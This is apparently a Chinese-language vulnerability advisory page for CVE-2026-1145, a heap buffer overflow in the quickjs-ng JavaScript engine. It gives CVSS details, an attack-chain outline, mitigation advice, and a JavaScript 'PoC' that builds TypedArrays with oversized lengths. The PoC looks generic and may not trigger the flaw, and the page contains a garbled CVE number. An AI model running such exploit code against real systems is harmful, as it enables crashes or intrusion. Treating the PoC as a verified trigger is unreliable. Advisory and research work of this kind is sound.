IPBUF安全漏洞报告
English
CVE-2026-1145 CVSS 6.3 中危

CVE-2026-1145 quickjs-ng quickjs js_typed_array_constructor_ta 堆缓冲区溢出漏洞

披露日期: 2026-01-19

漏洞信息

漏洞编号
CVE-2026-1145
漏洞类型
堆缓冲区溢出
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
quickjs-ng quickjs

相关标签

CVE-2026-1145堆缓冲区溢出quickjs-ngquickjsjs_typed_array_constructor_taTypedArrayJavaScript引擎嵌入式JavaScriptCWE-122

漏洞概述

CVE-2026-2026-1145是quickjs-ng quickjs项目中的一个中危安全漏洞。该漏洞存在于quickjs.c文件的js_typed_array_constructor_ta函数中,由于堆缓冲区溢出问题,攻击者可以通过构造恶意的JavaScript代码触发该漏洞。CVSS评分6.3,属于中等严重程度。攻击向量为网络可利用,无需认证但需要用户交互。漏洞已被公开披露,可能已被在野利用。quickjs-ng是一个高性能的JavaScript引擎,被广泛应用于嵌入式系统、IoT设备和各种需要轻量级JS运行时场景中。此漏洞影响版本至0.11.0,官方已发布补丁(commit: 53aebe66170d545bb6265906fe4324e4477de8b4)进行修复。

技术细节

该漏洞为典型的堆缓冲区溢出(CWE-122)问题,存在于TypedArray构造函数处理逻辑中。js_typed_array_constructor_ta函数在处理TypedArray创建时,未正确验证输入参数或数组大小,导致攻击者可以写入超出预定堆缓冲区边界的数据。当JavaScript代码创建TypedArray(如Uint8Array、Int16Array等)时,如果参数验证不当,可能导致越界写入。攻击者可通过构造超大长度参数的TypedArray或利用类型转换逻辑缺陷,触发堆内存损坏。成功利用此漏洞可导致程序崩溃(拒绝服务)或在特定条件下实现代码执行。由于该漏洞位于核心引擎代码,影响所有使用quickjs的应用场景。

攻击链分析

STEP 1
1
信息收集:攻击者识别目标应用使用quickjs-ng quickjs引擎(版本<=0.11.0)
STEP 2
2
载荷构造:构造恶意的JavaScript代码,包含超长参数或特殊构造的TypedArray创建请求
STEP 3
3
漏洞触发:通过用户交互(访问恶意网页、执行恶意JS代码等)将载荷传递给quickjs引擎
STEP 4
4
堆溢出执行:js_typed_array_constructor_ta函数处理TypedArray时发生堆缓冲区溢出
STEP 5
5
内存破坏:超出边界的数据写入相邻堆内存区域,可能覆盖关键数据结构
STEP 6
6
后果利用:导致程序崩溃(DoS)或在理想条件下实现任意代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-1145 PoC - Heap Buffer Overflow in js_typed_array_constructor_ta // Affected: quickjs-ng quickjs <= 0.11.0 // Function to trigger the vulnerability function triggerBufferOverflow() { try { // Attempt to create TypedArray with oversized length // This may trigger heap buffer overflow in js_typed_array_constructor_ta const maliciousLength = 0x7FFFFFFF; // Large value const arr = new Uint8Array(maliciousLength); // Additional trigger attempts for (let i = 0; i < 10; i++) { try { new Uint8Array(i * 0x10000000); } catch (e) { console.log("Attempt " + i + ": " + e.message); } } // Try different TypedArray types const types = [Uint8Array, Int8Array, Uint16Array, Int16Array, Uint32Array, Int32Array, Float32Array, Float64Array]; for (const Type of types) { try { new Type(0x10000000); } catch (e) { console.log(Type.name + ": " + e.message); } } } catch (e) { console.log("Error: " + e.message); } } // Run the PoC triggerBufferOverflow(); // Alternative PoC - TypedArray constructor manipulation function alternativePoC() { // Try to trigger via constructor behavior const constructor = Uint8Array; // Attempt various overflow scenarios const testCases = [ { len: 0xFFFFFFFF }, { len: Number.MAX_SAFE_INTEGER }, { len: -1 }, { buffer: null } ]; for (const test of testCases) { try { new constructor(test.len); } catch (e) { console.log("Test case: " + JSON.stringify(test) + " -> " + e.message); } } } alternativePoC();

影响范围

quickjs-ng quickjs <= 0.11.0

防御指南

临时缓解措施
由于该漏洞需要用户交互触发,建议暂时限制或过滤来自不可信源的JavaScript代码执行。对于必须运行第三方JS代码的场景,可考虑使用进程隔离或容器化技术限制漏洞影响范围。同时关注官方安全公告,及时应用安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表